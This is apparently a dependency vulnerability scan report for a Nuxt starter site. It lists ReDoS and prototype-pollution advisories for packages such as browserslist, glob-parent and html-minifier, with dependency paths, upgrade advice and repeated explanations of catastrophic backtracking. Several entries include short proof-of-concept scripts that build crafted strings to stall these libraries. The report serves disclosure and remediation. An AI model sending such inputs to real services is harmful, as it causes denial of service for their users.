The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: browserslist
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › autoprefixer@7.2.6 › browserslist@2.11.3
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › autoprefixer@7.2.6 › browserslist@2.11.3
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › autoprefixer@7.2.6 › browserslist@2.11.3
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › caniuse-api@2.0.0 › browserslist@2.11.3
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pixrem@4.0.1 › browserslist@2.11.3
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › autoprefixer@7.2.6 › browserslist@2.11.3
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › caniuse-api@2.0.0 › browserslist@2.11.3
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › pixrem@4.0.1 › browserslist@2.11.3
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › browserslist@3.2.8
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › browserslist@3.2.8
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › browserslist@1.7.7
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › browserslist@1.7.7
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › browserslist@1.7.7
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › autoprefixer@6.7.7 › browserslist@1.7.7
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › caniuse-api@1.6.1 › browserslist@1.7.7
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › browserslist@1.7.7
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › browserslist@1.7.7
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › caniuse-api@1.6.1 › browserslist@1.7.7
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › caniuse-api@1.6.1 › browserslist@1.7.7

…and 16 more

Overview

browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.

PoC by Yeting Li

var browserslist = require("browserslist")
function build_attack(n) {
    var ret = "> "
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

// browserslist('> 1%')

//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            browserslist(attack_str);
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade browserslist to version 4.16.5 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: color-string
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-function@4.1.0 › css-color-function@1.3.3 › color@0.11.4 › color-string@0.3.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › colormin@1.1.2 › color@0.11.4 › color-string@0.3.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › postcss-cssnext@3.1.1 › postcss-color-function@4.1.0 › css-color-function@1.3.3 › color@0.11.4 › color-string@0.3.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › colormin@1.1.2 › color@0.11.4 › color-string@0.3.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-colormin@2.2.2 › colormin@1.1.2 › color@0.11.4 › color-string@0.3.0

…and 2 more

Overview

color-string is a Parser and generator for CSS color strings

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade color-string to version 1.5.5 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

Improper Control of Dynamically-Managed Code Resources vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: glob-parent
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › glob-parent@3.1.0
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › glob-parent@3.1.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › glob-parent@3.1.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › glob-parent@3.1.0

…and 1 more

Overview

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

PoC by Yeting Li

var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}

return ret;
}

globParent(build_attack(5000));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade glob-parent to version 5.1.2 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: html-minifier
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-minifier@3.5.21
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › html-minifier@3.5.21
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-minifier@3.5.21
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › html-minifier@3.5.21

…and 1 more

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the value parameter of the minify function. This vulnerability derives from the usage of insecure regular expression in reCustomIgnore.

PoC

  const { minify } = require('html-minifier');

const testReDoS = (repeatCount) => {
    const input = '\t'.repeat(repeatCount) + '.\t1x';

    const startTime = performance.now();

    try {
        minify(input);
    } catch (e) {
        console.error('Error during minification:', e);
    }

    const endTime = performance.now();
    console.log(`Input length: ${repeatCount} - Processing time: ${endTime - startTime} ms`);
};


for (let i = 5000; i <= 60000; i += 5000) {
    testReDoS(i);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for html-minifier.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: is-svg
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0

Overview

is-svg is a Check if a string or buffer is SVG

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input for a very long time.

You are only affected if you use this package on a server that accepts SVG as user-input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade is-svg to version 4.2.2 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: is-svg
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0

Overview

is-svg is a Check if a string or buffer is SVG

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the removeDtdMarkupDeclarations and entityRegex regular expressions, bypassing the fix for CVE-2021-28092.

PoC by Yeting Li

//1) 1st ReDoS caused by the two sub-regexes [A-Z]+ and [^>]* in `removeDtdMarkupDeclarations`.
